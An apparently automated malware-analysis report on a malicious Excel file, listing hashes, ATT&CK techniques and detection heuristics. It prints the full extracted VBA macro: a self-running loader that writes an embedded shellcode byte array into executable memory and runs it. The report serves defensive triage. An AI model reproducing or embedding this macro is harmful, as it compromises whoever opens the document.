Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2022ea99cef1e91…

MALICIOUS

Office (OLE)

31.5 KB Created: 2019-02-03 20:04:44 Authoring application: Microsoft Excel First seen: 2019-05-31
MD5: ef4d7a91edc32c066ef75d33ebfd75bc SHA-1: bacbc08cda0af83f0b8e03c211ce31ed294e7173 SHA-256: c2022ea99cef1e91cc2cc5229aebd7eb3092ebf226666694842f99c93214a6d0
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains VBA macros, including Auto_Open and Workbook_Open, which are commonly used to initiate malicious actions upon opening the document. The presence of VirtualAlloc API calls suggests the allocation of memory for executing shellcode or downloaded payloads. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' further indicates its dropper functionality, likely downloading and executing a secondary malicious payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
            Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
            Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
            Dim Fpcl As Long, Skh As Variant, Hmwryt As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4794 bytes
SHA-256: 4590ece031a1be9e8451b4e1b4760064eacfe4e84dbf3a2e34110e613854fbda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
        Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Rnuf As Long, ByVal Etdoszxbi As Long, ByVal Mvzbsoi As LongPtr, Mvvj As Long, ByVal Wpimynuix As Long, Hpckn As Long) As LongPtr
        Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Ptkvp As Long, ByVal Qzod As Long, ByVal Ltytrhfls As Long, ByVal Ycjdocvl As Long) As LongPtr
        Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sdfk As LongPtr, ByRef Jrvm As Any, ByVal Pmczpqtxw As Long) As LongPtr
#Else
        Private Declare Function CreateThread Lib "kernel32" (ByVal Rnuf As Long, ByVal Etdoszxbi As Long, ByVal Mvzbsoi As Long, Mvvj As Long, ByVal Wpimynuix As Long, Hpckn As Long) As Long
        Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Ptkvp As Long, ByVal Qzod As Long, ByVal Ltytrhfls As Long, ByVal Ycjdocvl As Long) As Long
        Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sdfk As Long, ByRef Jrvm As Any, ByVal Pmczpqtxw As Long) As Long
#End If

Sub Auto_Open()
        Dim Fpcl As Long, Skh As Variant, Hmwryt As Long
#If VBA7 Then
        Dim Rslttl As LongPtr, Auzw As LongPtr
#Else
        Dim Rslttl As Long, Auzw As Long
#End If
        Skh = Array(56, 219, 76, 232, 218, 204, 217, 116, 36, 244, 88, 41, 201, 177, 99, 131, 232, 252, 49, 80, 17, 3, 80, 17, 226, 205, 97, 140, 181, 79, 21, 215, 129, 86, 109, 204, 249, 54, 191, 197, 179, 155, 60, 59, 79, 18, 21, 202, 179, 194, 202, 82, 197, 37, 67, 207, 39, 114, 71, 179, 240, 94, 237, 30, 87, 177, 149, 10, 223, 115, 243, 246, 25, 38, 94, 134, 80, 50, 83, 108, _
76, 185, 107, 248, 14, 17, 162, 147, 34, 69, 185, 171, 116, 245, 253, 148, 38, 201, 243, 47, 102, 58, 255, 23, 82, 191, 191, 171, 67, 221, 143, 12, 195, 196, 52, 245, 71, 91, 185, 145, 145, 3, 133, 198, 228, 15, 183, 9, 137, 172, 119, 119, 27, 222, 37, 63, 225, 11, 125, 222, 201, 22, 25, 6, 209, 92, 69, 28, 133, 204, 151, 163, 221, 188, 142, 124, 173, 137, 173, 60, _
100, 102, 96, 1, 114, 75, 251, 247, 22, 135, 114, 68, 35, 95, 44, 192, 34, 207, 222, 163, 130, 122, 133, 41, 46, 16, 67, 124, 114, 91, 205, 40, 224, 17, 160, 76, 82, 137, 149, 141, 243, 20, 72, 140, 97, 212, 190, 85, 105, 140, 209, 13, 171, 92, 14, 9, 99, 84, 195, 103, 204, 12, 147, 40, 23, 214, 134, 155, 167, 2, 162, 227, 100, 229, 117, 123, 133, 73, 173, 61, _
244, 24, 174, 20, 194, 184, 249, 112, 93, 228, 144, 213, 209, 228, 206, 89, 236, 120, 161, 60, 86, 50, 237, 67, 187, 63, 240, 88, 104, 169, 142, 63, 76, 170, 158, 52, 34, 195, 135, 85, 145, 175, 50, 46, 151, 56, 106, 169, 204, 229, 169, 239, 12, 81, 124, 198, 86, 142, 86, 252, 200, 79, 236, 49, 7, 106, 67, 71, 189, 87, 70, 12, 154, 137, 124, 184, 253, 172, 204, 152, _
126, 45, 80, 121, 32, 40, 108, 19, 8, 101, 130, 190, 6, 4, 119, 68, 6, 69, 249, 175, 207, 123, 238, 144, 91, 121, 39, 174, 161, 25, 40, 183, 73, 245, 9, 110, 63, 158, 205, 250, 71, 124, 28, 69, 90, 153, 25, 163, 231, 95, 116, 58, 93, 224, 157, 62, 252, 110, 140, 189, 110, 7, 229, 140, 94, 52, 191, 225, 115, 23, 85, 25, 54, 79, 8, 29, 33, 159, 176, 16, _
142, 96, 10, 233, 118, 1, 71, 39, 222, 197, 159, 33, 70, 161, 107, 194, 230, 141, 112, 6, 206)

        Rslttl = VirtualAlloc(0, UBound(Skh), &H1000, &H40)
        For Hmwryt = LBound(Skh) To UBound(Skh)
                Fpcl = Skh(Hmwryt)
                Auzw = RtlMoveMemory(Rslttl + Hmwryt, Fpcl, 1)
        Next Hmwryt
        Auzw = CreateThread(0, 0, Rslttl, 0, 0, 0)
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True